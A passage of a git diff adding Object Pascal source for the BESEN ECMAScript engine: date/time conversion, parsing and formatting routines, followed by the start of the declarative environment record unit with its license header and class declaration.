result:=round((DateTime-BESENUnixDateDelta)*BESENmsPerDay); +end; + +function BESENDateToDateTime(BESENDate:TBESENDate):TDateTime; +begin + result:=(BESENDate/BESENmsPerDay)+BESENUnixDateDelta; +end; + +function BESENSystemTimeToBESENDate(SystemTime:TSystemTime):TBESENDate; +begin +{$ifdef BESENDelphiHasNoSystemTimeMore} + result:=EncodeDate(SystemTime.wYear,SystemTime.wMonth,SystemTime.wDay); + result:=result+(((ord(result<0) and 1)*(-1))*EncodeTime(SystemTime.wHour,SystemTime.wMinute,SystemTime.wSecond,SystemTime.wMilliSeconds)); +{$else} + result:=BESENDateTimeToBESENDate(SystemTimeToDateTime(SystemTime)); +{$endif} +end; + +function BESENDateToSystemTime(BESENDate:TBESENDate):TSystemTime; +{$ifdef BESENDelphiHasNoSystemTimeMore} +var DateTime:TDateTime; +{$endif} +begin +{$ifdef BESENDelphiHasNoSystemTimeMore} + DateTime:=BESENDateToDateTime(trunc(BESENDate)); + DecodeDateFully(DateTime,result.wYear,result.wMonth,result.wDay,result.wDayOfWeek); + dec(result.wDayOfWeek); + DecodeTime(DateTime,result.wHour,result.wMinute,result.wSecond,result.wMilliseconds); +{$else} + DateTimeToSystemTime(BESENDateToDateTime(trunc(BESENDate)),result); +{$endif} +end; + +function BESENGetLocalDateTime:TDateTime; +{$ifndef BESENDelphiHasNoSystemTimeMore} +var SystemTime:TSystemTime; +{$endif} +begin +{$ifdef BESENDelphiHasNoSystemTimeMore} + result:=Now; +{$else} + GetLocalTime(SystemTime); + result:=SystemTimeToDateTime(SystemTime); +{$endif} +end; + +function BESENGetUTCDateTime:TDateTime; +{$ifdef unix} +var TimeVal:TTimeVal; + ia,ib:int64; + fa,fb,fc:double; +begin + fpGetTimeOfDay(@TimeVal,nil); + ia:=TimeVal.tv_sec; + ib:=TimeVal.tv_usec; + fa:=ia*1000; + fb:=ib*0.001; + fc:=fa+fb; + result:=(fc/BESENmsPerDay)+BESENUnixDateDelta; +end; +{$else} +{$ifdef BESENEmbarcaderoNextGen} +begin + result:=TTimeZone.Local.ToUniversalTime(Now); +end; +{$else} +{$ifdef windows} +var SystemTime:TSystemTime; +begin + GetSystemTime(SystemTime); + result:=SystemTimeToDateTime(SystemTime); +end; +{$else} +var SystemTime:TSystemTime; +begin + GetSystemTime(SystemTime); + result:=SystemTimeToDateTime(SystemTime); +end; +{$endif} +{$endif} +{$endif} + +function BESENGetUTCBESENDate:TBESENDate; +{$ifdef unix} +var TimeVal:TTimeVal; + ia,ib:int64; + fa,fb:double; +begin + fpGetTimeOfDay(@TimeVal,nil); + ia:=TimeVal.tv_sec; + ib:=TimeVal.tv_usec; + fa:=ia*1000; + fb:=ib*0.001; + result:=fa+fb; +end; +{$else} +{$ifdef BESENDelphiHasNoSystemTimeMore} +begin + result:=BESENDateTimeToBESENDate(Now); +end; +{$else} +{$ifdef windows} +var SystemTime:TSystemTime; +begin + GetSystemTime(SystemTime); + result:=BESENDateTimeToBESENDate(SystemTimeToDateTime(SystemTime)); +end; +{$else} +var SystemTime:TSystemTime; +begin + GetSystemTime(SystemTime); + result:=BESENDateTimeToBESENDate(SystemTimeToDateTime(SystemTime)); +end; +{$endif} +{$endif} +{$endif} + +function BESENGetLocalDateTimeZone:TDateTime; +{$ifdef unix} +begin + result:=BESENGetLocalDateTime-BESENGetUTCDateTime; +end; +{$else} +{$ifdef windows} +var tz_info:TIME_ZONE_INFORMATION; +begin + case GetTimeZoneInformation(tz_info) of + TIME_ZONE_ID_STANDARD:result:=-(((tz_info.StandardBias+tz_info.Bias)*60000.0)/BESENmsPerDay); + TIME_ZONE_ID_DAYLIGHT:result:=-(((tz_info.DaylightBias+tz_info.Bias)*60000.0)/BESENmsPerDay); + else begin + result:=BESENGetLocalDateTime-BESENGetUTCDateTime; + end; + end; +end; +{$else} +begin + result:=BESENGetLocalDateTime-BESENGetUTCDateTime; +end; +{$endif} +{$endif} + +function BESENGetLocalTZA:TBESENDate; +{$ifdef unix} +var TimeVal:TTimeVal; + ia,ib:int64; + fa,fb,fc:double; +begin + fpGetTimeOfDay(@TimeVal,nil); + ia:=TimeVal.tv_sec; + ib:=TimeVal.tv_usec; + fa:=ia*1000; + fb:=ib*0.001; + fc:=fa+fb; + result:=BESENDateTimeToBESENDate(BESENGetLocalDateTime)-fc; +end; +{$else} +{$ifdef windows} +var tz_info:TIME_ZONE_INFORMATION; +begin + case GetTimeZoneInformation(tz_info) of + TIME_ZONE_ID_STANDARD:result:=-(tz_info.StandardBias+tz_info.Bias)*60000.0; + TIME_ZONE_ID_DAYLIGHT:result:=-(tz_info.DaylightBias+tz_info.Bias)*60000.0; + else begin + result:=(BESENGetLocalDateTime-BESENGetUTCDateTime)*BESENmsPerDay; + end; + end; +end; +{$else} +begin + result:=(BESENGetLocalDateTime-BESENGetUTCDateTime)*BESENmsPerDay; +end; +{$endif} +{$endif} + +function BESENLocalTime(Date:TBESENDate):TBESENDate; +begin + if BESENIsFinite(Date) then begin + result:=Date+BESENGetLocalTZA; + end else begin + result:=double(pointer(@BESENDoubleNaN)^); + end; +end; + +function BESENUTC(Date:TBESENDate):TBESENDate; +begin + if BESENIsFinite(Date) then begin + result:=Date-BESENGetLocalTZA; + end else begin + result:=double(pointer(@BESENDoubleNaN)^); + end; +end; + +function BESENLocalDateTimeToUTC(DateTime:TDateTime):TDateTime; +begin + result:=DateTime-BESENGetLocalDateTimeZone; +end; + +function BESENUTCToLocalDateTime(DateTime:TDateTime):TDateTime; +begin + result:=DateTime+BESENGetLocalDateTimeZone; +end; + +function BESENGetDateTimeOffsetString(const Ofs:TDateTime):TBESENString; +var i:int64; + a,b:TBESENString; +begin + i:=trunc(BESENFloor(Ofs*SecsPerDay)) div 60; + case i mod 60 of + 59:begin + inc(i); + end; + 1:begin + dec(i); + end; + end; + a:=IntToStr(i div 60); + b:=IntToStr(i mod 60); + if length(a)<2 then begin + a:='0'+a; + end; + if length(b)<2 then begin + b:='0'+b; + end; + if i<0 then begin + a:='-'+a; + end else begin + a:='+'+a; + end; + result:=a+b; +end; + +function BESENParseISOTime(s:TBESENString):TBESENDate; + function IsDigit(const w:widechar):boolean; + begin + result:=(word(w)>=ord('0')) and (word(w)<=ord('9')); + end; + function ParseDay(const ss:TBESENString):TBESENDate; + var Offset:integer; + begin + if (length(ss)=10) and (IsDigit(ss[1]) and IsDigit(ss[2]) and IsDigit(ss[3]) and IsDigit(ss[4]) and (ss[5]='-') and IsDigit(ss[6]) and IsDigit(ss[7]) and (ss[8]='-') and IsDigit(ss[9]) and IsDigit(ss[10])) then begin + Offset:=1; + end else if (length(ss)=8) and (IsDigit(ss[1]) and IsDigit(ss[2]) and IsDigit(ss[3]) and IsDigit(ss[4]) and IsDigit(ss[5]) and IsDigit(ss[6]) and IsDigit(ss[7]) and IsDigit(ss[8])) then begin + Offset:=0; + end else begin + result:=double(pointer(@BESENDoubleNaN)^); + exit; + end; + result:=BESENMakeDay(StrToIntDef(copy(ss,1,4),0),StrToIntDef(copy(ss,5+(1*Offset),2),0),StrToIntDef(copy(ss,7+(2*Offset),2),0)); + end; + function ParseTime(const ss:TBESENString):TBESENDate; + var s,ms:TBESENString; + i,Offset,Hours,Minutes,Seconds,Milliseconds:integer; + WithSeconds:boolean; + begin + i:=BESENPosChar(',',ss); + if i=0 then begin + i:=BESENPosChar('.',ss); + end; + if i=0 then begin + s:=ss; + ms:=''; + end else begin + s:=copy(ss,1,i-1); + ms:=copy(ms,i+1,(length(ss)-i)+1); + end; + if (length(s)=8) and (IsDigit(s[1]) and IsDigit(s[2]) and (s[3]=':') and IsDigit(s[4]) and IsDigit(s[5]) and (s[6]=':') and IsDigit(s[7]) and IsDigit(s[8])) then begin + Offset:=1; + WithSeconds:=true; + end else if (length(s)=6) and (IsDigit(s[1]) and IsDigit(s[2]) and IsDigit(s[3]) and IsDigit(s[4]) and IsDigit(s[5]) and IsDigit(s[6])) then begin + Offset:=0; + WithSeconds:=true; + end else if (length(s)=5) and (IsDigit(s[1]) and IsDigit(s[2]) and (s[3]=':') and IsDigit(s[4]) and IsDigit(s[5])) then begin + Offset:=1; + WithSeconds:=false; + end else if (length(s)=4) and (IsDigit(s[1]) and IsDigit(s[2]) and IsDigit(s[3]) and IsDigit(s[4])) then begin + Offset:=0; + WithSeconds:=false; + end else begin + result:=double(pointer(@BESENDoubleNaN)^); + exit; + end; + Hours:=StrToIntDef(copy(s,1,2),100); + Minutes:=StrToIntDef(copy(s,3+(1*Offset),2),100); + if WithSeconds then begin + Seconds:=StrToIntDef(copy(s,5+(2*Offset),2),100); + end else begin + Seconds:=0; + if length(ms)>0 then begin + result:=double(pointer(@BESENDoubleNaN)^); + exit; + end; + end; + case length(ms) of + 0:Milliseconds:=0; + 3:Milliseconds:=StrToIntDef(ms,10000); + else begin + result:=double(pointer(@BESENDoubleNaN)^); + exit; + end; + end; + result:=BESENMakeTime(Hours,Minutes,Seconds,Milliseconds); + end; +var i,j,k:integer; + sz:TBESENString; + Delta:TBESENDate; +begin + i:=BESENPosChar('T',s); + if i=0 then begin + i:=BESENPosChar(' ',s); + end; + if i>0 then begin + j:=BESENPosChar('Z',s); + if j=0 then begin + j:=length(s)+1; + for k:=length(s) downto i+1 do begin + if (s[k]='-') or (s[k]='+') then begin + j:=k; + break; + end; + end; + end; + sz:=copy(s,j,(length(s)-j)+1); + s:=copy(s,1,j-1); + Delta:=0; + if (length(sz)=6) and ((sz[1]='-') or (sz[1]='+')) and IsDigit(sz[2]) and IsDigit(sz[3]) and (sz[4]=':') and IsDigit(sz[5]) and IsDigit(sz[6]) then begin + i:=StrToIntDef(copy(sz,2,2),-1); + j:=StrToIntDef(copy(sz,5,2),-1); + if ((i>=0) and (i<=24)) and ((j>=0) and (j<=60)) then begin + Delta:=(i*60)+j; + if sz[1]='-' then begin + Delta:=-Delta; + end; + end else begin + result:=double(pointer(@BESENDoubleNaN)^); + exit; + end; + end else if (length(sz)>0) and (sz<>'Z') then begin + result:=double(pointer(@BESENDoubleNaN)^); + exit; + end; + result:=BESENTimeClip(BESENMakeDate(ParseDay(copy(s,1,i-1)),ParseTime(copy(s,i+1,(length(s)-i)+1)))-(Delta*BESENmsPerMinute)); + end else begin + result:=double(pointer(@BESENDoubleNaN)^); + end; +end; + +function BESENParseTime(s:TBESENString):TBESENDate; +var p:integer; + function IsWhite(const w:widechar):boolean; + begin + result:=BESENUnicodeIsStringWhiteSpace(word(w)); + end; + function IsLetter(const w:widechar):boolean; + begin + result:=((word(w)>=ord('a')) and (word(w)<=ord('z'))) or ((word(w)>=ord('Z')) and (word(w)<=ord('Z'))); + end; + function IsDigit(const w:widechar):boolean; + begin + result:=(word(w)>=ord('0')) and (word(w)<=ord('9')); + end; + function ToLower(const w:widechar):widechar; + begin + result:=widechar(word(BESENUnicodeToLower(word(w)))); + end; + procedure SkipWhite; + begin + while p<length(s) do begin + if IsWhite(s[p]) then begin + inc(p); + end else begin + break; + end; + end; + end; +var i,d,m,y,hr,min,sec,ms,wd:integer; + t:TBESENString; + yneg:boolean; +begin + result:=double(pointer(@BESENDoubleNaN)^); + + p:=1; + + SkipWhite; + + if ((p+2)<=length(s)) and (IsLetter(s[p]) and IsLetter(s[p+1]) and IsLetter(s[p+2])) then begin + t:=BESENLowercase(copy(s,p,3)); + for wd:=low(ParserDayNames) to high(ParserDayNames) do begin + if t=ParserDayNames[wd] then begin + inc(p,3); + if (p<=length(s)) and (s[p]=',') then begin + inc(p); + end; + SkipWhite; + break; + end; + end; + end; + + if (p<=length(s)) and IsDigit(s[p]) then begin + d:=0; + while (p<=length(s)) and IsDigit(s[p]) do begin + d:=(d*10)+(word(widechar(s[p]))-ord('0')); + inc(p); + end; + if not ((p<=length(s)) and IsWhite(s[p])) then begin + exit; + end; + SkipWhite; + if not (((p+2)<=length(s)) and (IsLetter(s[p]) and IsLetter(s[p+1]) and IsLetter(s[p+2]))) then begin + exit; + end; + t:=BESENLowercase(copy(s,p,3)); + inc(p,3); + m:=0; + for i:=low(ParserMonthNames) to high(ParserMonthNames) do begin + if t=ParserMonthNames[i] then begin + m:=i; + break; + end; + end; + end else begin + if not (((p+2)<=length(s)) and (IsLetter(s[p]) and IsLetter(s[p+1]) and IsLetter(s[p+2]))) then begin + exit; + end; + t:=BESENLowercase(copy(s,p,3)); + inc(p,3); + m:=0; + for i:=low(ParserMonthNames) to high(ParserMonthNames) do begin + if t=ParserMonthNames[i] then begin + m:=i; + break; + end; + end; + if not ((p<=length(s)) and IsWhite(s[p])) then begin + exit; + end; + SkipWhite; + d:=0; + while (p<=length(s)) and IsDigit(s[p]) do begin + d:=(d*10)+(word(widechar(s[p]))-ord('0')); + inc(p); + end; + end; + if (m<0) or ((d<1) or (d>31)) then begin + exit; + end; + + if not ((p<=length(s)) and IsWhite(s[p])) then begin + exit; + end; + SkipWhite; + + yneg:=(p<=length(s)) and (s[p]='-'); + if yneg then begin + inc(p); + end; + if not ((p<=length(s)) and IsDigit(s[p])) then begin + exit; + end; + y:=0; + while (p<=length(s)) and IsDigit(s[p]) do begin + y:=(y*10)+(word(widechar(s[p]))-ord('0')); + inc(p); + end; + if yneg then begin + y:=-y; + end; + + hr:=0; + min:=0; + sec:=0; + ms:=0; + if (p<=length(s)) and IsWhite(s[p]) then begin + SkipWhite; + if ((p+4)<=length(s)) and (IsDigit(s[p]) and IsDigit(s[p+1]) and (s[p+2]=':') and IsDigit(s[p+3]) and IsDigit(s[p+4])) then begin + hr:=((word(widechar(s[p]))-ord('0'))*10)+(word(widechar(s[p+1]))-ord('0')); + min:=((word(widechar(s[p+3]))-ord('0'))*10)+(word(widechar(s[p+4]))-ord('0')); + inc(p,5); + if ((p+2)<=length(s)) and ((s[p]=':') and IsDigit(s[p+1]) and IsDigit(s[p+2])) then begin + sec:=((word(widechar(s[p+1]))-ord('0'))*10)+(word(widechar(s[p+2]))-ord('0')); + inc(p,3); + end; + if ((p+3)<=length(s)) and (((s[p]=':') or (s[p]='.')) and IsDigit(s[p+1]) and IsDigit(s[p+2]) and IsDigit(s[p+3])) then begin + ms:=((word(widechar(s[p+1]))-ord('0'))*100)+((word(widechar(s[p+2]))-ord('0'))*10)+(word(widechar(s[p+3]))-ord('0')); + inc(p,4); + end; + end; + end; + if ((hr<0) or (hr>=24)) or ((min<0) or (min>=60)) or ((sec<0) or (sec>=60)) or ((ms<0) or (ms>=1000)) then begin + exit; + end; + + result:=BESENMakeDate(BESENMakeDay(y,m,d),BESENMakeTime(hr,min,sec,ms)); + + SkipWhite; + if ((p+2)<=length(s)) and (((s[p]='G') and (s[p+1]='M') and (s[p+2]='T')) or ((s[p]='U') and (s[p+1]='T') and (s[p+2]='C'))) then begin + inc(p,3); + if ((p+4)<=length(s)) and (((s[p]='-') or (s[p]='+')) and IsDigit(s[p+1]) and IsDigit(s[p+2]) and IsDigit(s[p+3]) and IsDigit(s[p+4])) then begin + i:=((((word(widechar(s[p+1]))-ord('0'))*10)+((word(widechar(s[p+2]))-ord('0'))))*60)+(((word(widechar(s[p+3]))-ord('0'))*10)+(word(widechar(s[p+4]))-ord('0'))); + if s[p]='-' then begin + i:=-i; + end; + result:=result-(BESENmsPerMinute*i); + end; + end else begin + result:=result-(BESENGetLocalDateTimeZone*BESENmsPerDay); + end; + + result:=BESENTimeClip(result); +end; + +function BESENParseNetscapeTime(s:TBESENString):TBESENDate; +var p:integer; + function IsWhite(const w:widechar):boolean; + begin + result:=BESENUnicodeIsStringWhiteSpace(word(w)); + end; + function IsLetter(const w:widechar):boolean; + begin + result:=((word(w)>=ord('a')) and (word(w)<=ord('z'))) or ((word(w)>=ord('Z')) and (word(w)<=ord('Z'))); + end; + function IsDigit(const w:widechar):boolean; + begin + result:=(word(w)>=ord('0')) and (word(w)<=ord('9')); + end; + function ToLower(const w:widechar):widechar; + begin + result:=widechar(word(BESENUnicodeToLower(word(w)))); + end; + procedure SkipWhite; + begin + while p<length(s) do begin + if IsWhite(s[p]) then begin + inc(p); + end else begin + break; + end; + end; + end; +var i,j,d,m,y,hr,min,sec,ms:integer; + neg:boolean; + n:array[0..2] of integer; +begin + result:=double(pointer(@BESENDoubleNaN)^); + + p:=1; + + SkipWhite; + + for j:=0 to 2 do begin + if j<>0 then begin + SkipWhite; + if (p<=length(s)) and (s[p]='/') then begin + inc(p); + end else begin + exit; + end; + SkipWhite; + end; + n[j]:=0; + neg:=(p<=length(s)) and (s[p]='-'); + if neg then begin + inc(p); + end; + if (p<=length(s)) and IsDigit(s[p]) then begin + i:=0; + while (p<=length(s)) and IsDigit(s[p]) do begin + i:=(i*10)+(word(widechar(s[p]))-ord('0')); + inc(p); + end; + if neg then begin + i:=-i; + end; + n[j]:=i; + end else begin + exit; + end; + end; + if (n[0]>=70) and (n[1]>=70) then begin + exit; + end; + if n[0]>=70 then begin + y:=n[0]+1900; + m:=n[1]; + d:=n[2]; + end else begin + m:=n[0]; + d:=n[1]; + y:=n[2]; + if y<100 then begin + y:=n[0]+1900; + end; + end; + if (m<0) or ((d<1) or (d>31)) then begin + exit; + end; + + hr:=0; + min:=0; + sec:=0; + ms:=0; + + if not ((p<=length(s)) and IsWhite(s[p])) then begin + SkipWhite; + + if (p<=length(s)) and IsDigit(s[p]) then begin + i:=0; + while (p<=length(s)) and IsDigit(s[p]) do begin + i:=(i*10)+(word(widechar(s[p]))-ord('0')); + inc(p); + end; + hr:=i; + SkipWhite; + if (p<=length(s)) and (s[p]=':') then begin + inc(p); + SkipWhite; + + if (p<=length(s)) and IsDigit(s[p]) then begin + i:=0; + while (p<=length(s)) and IsDigit(s[p]) do begin + i:=(i*10)+(word(widechar(s[p]))-ord('0')); + inc(p); + end; + min:=i; + SkipWhite; + if (p<=length(s)) and (s[p]=':') then begin + inc(p); + SkipWhite; + + if (p<=length(s)) and IsDigit(s[p]) then begin + i:=0; + while (p<=length(s)) and IsDigit(s[p]) do begin + i:=(i*10)+(word(widechar(s[p]))-ord('0')); + inc(p); + end; + sec:=i; + SkipWhite; + if (p<=length(s)) and ((s[p]=':') or (s[p]='.')) then begin + inc(p); + SkipWhite; + if (p<=length(s)) and IsDigit(s[p]) then begin + i:=0; + while (p<=length(s)) and IsDigit(s[p]) do begin + i:=(i*10)+(word(widechar(s[p]))-ord('0')); + inc(p); + end; + ms:=i; + SkipWhite; + end; + end; + end else begin + exit; + end; + + end; + + if ((p+1)<=length(s)) and (ToLower(s[p+1])='m') then begin + if ToLower(s[p])='a' then begin + if (hr<1) or (hr>12) then begin + exit; + end; + hr:=(hr mod 12)+12; + end else if ToLower(s[p])='p' then begin + if (hr<1) or (hr>12) then begin + exit; + end; + hr:=hr mod 12; + end else begin + exit; + end; + inc(p,2); + SkipWhite; + end; + + end else begin + exit; + end; + + end; + end; + + end; + + if ((hr<0) or (hr>=24)) or ((min<0) or (min>=60)) or ((sec<0) or (sec>=60)) or ((ms<0) or (ms>=1000)) then begin + exit; + end; + + result:=BESENTimeClip(BESENMakeDate(BESENMakeDay(y,m,d),BESENMakeTime(hr,min,sec,ms))-(BESENGetLocalDateTimeZone*BESENmsPerDay)); +end; + +{$warnings off} +function BESENFormatDateTime(const Format:TBESENSTRING;DateTime:TDateTime;const FormatSettings:TFormatSettings):TBESENSTRING; +var Year,Month,Day,DayOfWeek,Hour,Minute,Second,MilliSecond:word; + ResultString:TBESENSTRING; + procedure Add(const s:TBESENSTRING); + begin + ResultString:=ResultString+s; + end; + procedure AddInt(Value,Digits:integer); + var s:TBESENSTRING; + begin + s:=inttostr(Value); + while length(s)<Digits do begin + s:='0'+s; + end; + Add(s); + end; + procedure Process(const Format:TBESENSTRING;Nesting:integer;TimeFlag:boolean); + var FormatPos,PosA,PosB,Count,t:integer; + FormatUp:TBESENSTRING; + CurrentChar,LastChar:TBESENWIDECHAR; + Clock12:boolean; + begin + if Nesting>1 then begin + exit; + end; + Clock12:=false; + FormatUp:=uppercase(Format); + FormatPos:=1; + while FormatPos<=length(Format) do begin + CurrentChar:=FormatUp[FormatPos]; + case CurrentChar of + '''','"':begin + inc(FormatPos); + while (FormatPos<=length(Format)) and (CurrentChar<>Format[FormatPos]) do begin + inc(FormatPos); + end; + inc(FormatPos); + end; + 'A':begin + if (copy(FormatUp,FormatPos,3)='A/P') or (copy(FormatUp,FormatPos,4)='AMPM') or (copy(FormatUp,FormatPos,5)='AM/PM') then begin + Clock12:=true; + break; + end; + inc(FormatPos); + end; + else begin + inc(FormatPos); + end; + end; + end; + LastChar:=#0; + FormatPos:=1; + while FormatPos<=length(Format) do begin + CurrentChar:=FormatUp[FormatPos]; + case CurrentChar of + '''','"':begin + inc(FormatPos); + PosA:=FormatPos; + while (FormatPos<=length(Format)) and (CurrentChar<>FormatUp[FormatPos]) do begin + inc(FormatPos); + end; + PosB:=FormatPos; + inc(FormatPos); + Add(copy(Format,PosA,PosB-PosA)); + LastChar:=CurrentChar; + end; + 'A':begin + if copy(FormatUp,FormatPos,3)='A/P' then begin + if Hour<12 then begin + Add(Format[FormatPos]); + end else begin + Add(Format[FormatPos+2]); + end; + inc(FormatPos,3); + end else if copy(FormatUp,FormatPos,4)='AMPM' then begin + inc(FormatPos,4); + if Hour<12 then begin + Add(FormatSettings.TimeAMString); + end else begin + Add(FormatSettings.TimePMString); + end; + end else if copy(FormatUp,FormatPos,5)='AM/PM' then begin + if Hour<12 then begin + Add(copy(Format,FormatPos,2)); + end else begin + Add(copy(Format,FormatPos+3,2)); + end; + inc(FormatPos,5); + end else begin + raise EConvertError.Create('Illegal character in format string'); + end; + end; + '/':begin + Add(FormatSettings.DateSeparator); + inc(FormatPos); + end; + ':':begin + Add(FormatSettings.TimeSeparator); + inc(FormatPos); + end; + ' ':begin + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]=' ') do begin + Add(' '); + inc(FormatPos); + end; + end; + 'Y':begin + Count:=0; + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]='Y') do begin + inc(Count); + inc(FormatPos); + end; + if Count>2 then begin + AddInt(Year,4); + end else begin + AddInt(Year mod 100,2); + end; + LastChar:=CurrentChar; + end; + 'M':begin + Count:=0; + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]='M') do begin + inc(Count); + inc(FormatPos); + end; + if (LastChar='H') or TimeFlag then begin + if Count=1 then begin + AddInt(Minute,0); + end else begin + AddInt(Minute,2); + end; + end else begin + case Count of + 1:begin + AddInt(Month,0); + end; + 2:begin + AddInt(Month,2); + end; + 3:begin + Add(FormatSettings.ShortMonthNames[Month]); + end; + else begin + Add(FormatSettings.LongMonthNames[Month]); + end; + end; + end; + LastChar:=CurrentChar; + end; + 'D':begin + Count:=0; + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]='D') do begin + inc(Count); + inc(FormatPos); + end; + case Count of + 1:begin + AddInt(Day,0); + end; + 2:begin + AddInt(Day,2); + end; + 3:begin + Add(FormatSettings.ShortDayNames[DayOfWeek]); + end; + 4:begin + Add(FormatSettings.LongDayNames[DayOfWeek]); + end; + 5:begin + Process(FormatSettings.ShortDateFormat,Nesting+1,false); + end; + else begin + Process(FormatSettings.LongDateFormat,Nesting+1,false); + end; + end; + LastChar:=CurrentChar; + end; + 'H':begin + Count:=0; + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]='H') do begin + inc(Count); + inc(FormatPos); + end; + t:=Hour; + if Clock12 then begin + if t=0 then begin + t:=12; + end else if t>12 then begin + dec(t,12); + end else if t>24 then begin + t:=t mod 12; + if t=0 then begin + t:=12; + end; + end; + end; + if Count=1 then begin + AddInt(t,0); + end else begin + AddInt(t,2); + end; + LastChar:=CurrentChar; + end; + 'N':begin + Count:=0; + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]='N') do begin + inc(Count); + inc(FormatPos); + end; + if Count=1 then begin + AddInt(Minute,0); + end else begin + AddInt(Minute,2); + end; + LastChar:=CurrentChar; + end; + 'S':begin + Count:=0; + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]='S') do begin + inc(Count); + inc(FormatPos); + end; + if Count=1 then begin + AddInt(Second,0); + end else begin + AddInt(Second,2); + end; + LastChar:=CurrentChar; + end; + 'Z':begin + Count:=0; + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]='Z') do begin + inc(Count); + inc(FormatPos); + end; + if Count=1 then begin + AddInt(MilliSecond,0); + end else begin + AddInt(MilliSecond,3); + end; + LastChar:=CurrentChar; + end; + 'T':begin + Count:=0; + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]='T') do begin + inc(Count); + inc(FormatPos); + end; + if Count=1 then begin + Process(FormatSettings.ShortTimeFormat,Nesting+1,true); + end else begin + Process(FormatSettings.LongTimeFormat,Nesting+1,true); + end; + LastChar:=CurrentChar; + end; + 'C':begin + Count:=0; + while (FormatPos<=length(Format)) and (FormatUp[FormatPos]='C') do begin + inc(Count); + inc(FormatPos); + end; + Process(FormatSettings.ShortDateFormat,Nesting+1,false); + if (integer(Hour)+integer(Minute)+integer(Second))<>0 then begin + Add(' '); + Process(FormatSettings.LongTimeFormat,Nesting+1,true); + end; + LastChar:=CurrentChar; + end; + else begin + Add(Format[FormatPos]); + inc(FormatPos); + end; + end; + end; + end; +begin + DecodeDateFully(DateTime,Year,Month,Day,DayOfWeek); + DecodeTime(DateTime,Hour,Minute,Second,MilliSecond); + ResultString:=''; + if length(Format)>0 then begin + Process(Format,0,false); + end else begin + Process('C',0,false); + end; + result:=ResultString; +end; +{$warnings on} + +end. + diff --git a/Core/JS/BESENDeclarativeEnvironmentRecord.pas b/Core/JS/BESENDeclarativeEnvironmentRecord.pas new file mode 100644 index 0000000..b3c8e72 --- /dev/null +++ b/Core/JS/BESENDeclarativeEnvironmentRecord.pas @@ -0,0 +1,612 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENDeclarativeEnvironmentRecord; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENEnvironmentRecord,BESENValue, + BESENPointerList,BESENStringList,BESENIntegerList, + BESENObjectPropertyDescriptor,BESENStringUtils; + +type PBESENDeclarativeEnvironmentRecordHashItem=^TBESENDeclarativeEnvironmentRecordHashItem; + TBESENDeclarativeEnvironmentRecordHashItem=record + Previous,Next,HashPrevious,HashNext:PBESENDeclarativeEnvironmentRecordHashItem; + Hash:TBESENHash; + Mutable:TBESENBoolean; + Initialized:TBESENBoolean; + Deletion:TBESENBoolean; + Key:TBESENString; + Value:TBESENValue; + Index:integer; + end; + + TBESENDeclarativeEnvironmentRecordHashBucket=record + HashFirst,HashLast:PBESENDeclarativeEnvironmentRecordHashItem; + end; + + TBESENDeclarativeEnvironmentRecordHashBuckets=array of TBESENDeclarativeEnvironmentRecordHashBucket; + + TBESENDeclarativeEnvironmentRecordValues=array of PBESENValue; + + TBESENDeclarativeEnvironmentRecord=class(TBESENEnvironmentRecord) + private + LastUsedItem:PBESENDeclarativeEnvironmentRecordHashItem; + procedure Clear; + procedure GrowAndRehashIfNeeded; + public + First,Last:PBESENDeclarativeEnvironmentRecordHashItem; + HashBuckets:TBESENDeclarativeEnvironmentRecordHashBuckets; + HashSize:longword; + HashSizeMask:longword; + HashedItems:longword; + HashBucketsUsed:longword; + HashIndexes:TBESENPointerList; + HashIndexNames:TBESENStringList; + HashIndexIDs:TBESENIntegerList; + HashValues:TBESENDeclarativeEnvironmentRecordValues; + Touched:TBESENBoolean; + IndexInitialized:TBESENBoolean; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Reset; + function GetKey(const Key:TBESENString;Hash:TBESENHash=0):PBESENDeclarativeEnvironmentRecordHashItem; + function NewKey(const Key:TBESENString;Force:boolean=false;Hash:TBESENHash=0):PBESENDeclarativeEnvironmentRecordHashItem; + function DeleteKey(const Item:PBESENDeclarativeEnvironmentRecordHashItem):TBESENBoolean; + function HasBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + function CreateMutableBinding(const N:TBESENString;const D:TBESENBoolean=false;Hash:TBESENHash=0):TBESENBoolean; override; + function SetMutableBindingEx(const N:TBESENString;const V:TBESENValue;const S:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; override; + procedure GetBindingValueEx(const N:TBESENString;const S:TBESENBoolean;var R:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0); override; + function DeleteBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + procedure UpdateImplicitThisValue; override; + function CreateImmutableBinding(const N:TBESENString;Hash:TBESENHash=0):TBESENBoolean; override; + function InitializeImmutableBinding(const N:TBESENString;const V:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; override; + function SetBindingValueIndex(const N:TBESENString;const I:integer;Hash:TBESENHash=0):TBESENBoolean; override; + function 